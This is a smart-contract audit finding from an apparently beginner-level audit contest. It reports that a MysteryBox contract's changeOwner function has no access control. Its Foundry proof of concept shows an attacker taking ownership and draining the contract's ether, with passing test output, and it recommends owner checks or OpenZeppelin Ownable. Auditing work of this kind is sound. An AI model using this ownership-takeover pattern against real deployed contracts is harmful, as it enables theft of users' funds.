Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Any user may change owner and withdraw all funds

chrissavov

Summary

The MysteryBox contract lacks proper access control on the changeOwner function, allowing any user to assume ownership of the contract. An attacker can exploit this vulnerability to change the owner to their own address and subsequently withdraw all funds from the contract, leading to a total loss of assets and compromising the integrity of the platform.

Vulnerability Details

The changeOwner function lacks access control, allowing anyone to change the owner of the contract:

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

In standard smart contract practices, functions that modify ownership or other sensitive state variables should be restricted to authorized accounts, typically the current owner or an admin role.

Impact

An attacker can exploit this function to:

  • Assume Ownership: Change the owner of the contract to their own or any other address.

  • Withdraw All Funds: Call the withdrawFunds function to transfer all Ether from the contract to themselves.

  • Disrupt Contract Operations: Potentially alter other functions restricted to the owner, affecting the contract's functionality.

Proof of concept:

The following forge test demonstrates how an attacker can change the owner of the contract to themselves and withdraw all of its funds.

It can be run with the following command:

forge test --match-contract AttackChangeOwner -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "../src/MysteryBox.sol";
​
contract AttackChangeOwner is Test {
MysteryBox public mysteryBox;
address public originalOwner = address(0x1);
address public attacker = address(0x2);
uint256 public initialBalance = 10 ether;
​
function setUp() public {
// Fund the original owner and attacker accounts
vm.deal(originalOwner, initialBalance);
vm.deal(attacker, initialBalance);
​
// Deploy the MysteryBox contract as the original owner with initial funds
vm.startPrank(originalOwner);
mysteryBox = new MysteryBox{value: 5 ether}();
vm.stopPrank();
}
​
function testChangeOwnerAndWithdraw() public {
// Record initial balances
uint256 mysteryBoxInitialBalance = address(mysteryBox).balance;
uint256 attackerInitialBalance = attacker.balance;
console.log("MysteryBox owner before attack:", mysteryBox.owner());
​
// Attacker changes the owner to themselves
vm.startPrank(attacker);
mysteryBox.changeOwner(attacker);
vm.stopPrank();
​
// Verify that the owner has changed
assertEq(mysteryBox.owner(), attacker);
console.log("MysteryBox owner after attack:", mysteryBox.owner());
​
// Attacker withdraws all funds
vm.startPrank(attacker);
mysteryBox.withdrawFunds();
vm.stopPrank();
​
// Record final balances
uint256 mysteryBoxFinalBalance = address(mysteryBox).balance;
uint256 attackerFinalBalance = attacker.balance;
​
// Output the results
console.log("MysteryBox initial balance:", mysteryBoxInitialBalance);
console.log("MysteryBox final balance:", mysteryBoxFinalBalance);
console.log("Attacker initial balance:", attackerInitialBalance);
console.log("Attacker final balance:", attackerFinalBalance);
​
// Assertions
assertEq(mysteryBoxFinalBalance, 0, "MysteryBox balance should be zero after withdrawal");
assertEq(
attackerFinalBalance,
attackerInitialBalance + mysteryBoxInitialBalance,
"Attacker should have gained the MysteryBox's initial balance"
);
}
}

Resulting in:

[⠢] Compiling...
[⠢] Compiling 1 files with Solc 0.8.24
[⠰] Solc 0.8.24 finished in 20.97s
Compiler run successful!

Ran 1 test for test/TestMysteryBox.t.sol:AttackChangeOwner
[PASS] testChangeOwnerAndWithdraw() (gas: 37778)
Logs:
MysteryBox owner before attack: 0x0000000000000000000000000000000000000001
MysteryBox owner after attack: 0x0000000000000000000000000000000000000002
MysteryBox initial balance: 5000000000000000000
MysteryBox final balance: 0
Attacker initial balance: 10000000000000000000
Attacker final balance: 15000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.24ms (1.51ms CPU time)

Ran 1 test suite in 163.98ms (6.24ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry forge

Recommendations

Implement Access Control on changeOwner Function

Add a requirement that only the current owner can change ownership:

function changeOwner(address _newOwner) public {
require(msg.sender == owner, "Only owner can change owner");
owner = _newOwner;
}

Utilize Standardized Access Control Patterns

Incorporate established and battle-tested contracts like OpenZeppelin's Ownable to manage ownership securely:

import "@openzeppelin/contracts/access/Ownable.sol";
contract MysteryBox is Ownable {
// Remove the custom `owner` state variable and `changeOwner` function
// Use OpenZeppelin's `onlyOwner` modifier for functions restricted to the owner
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.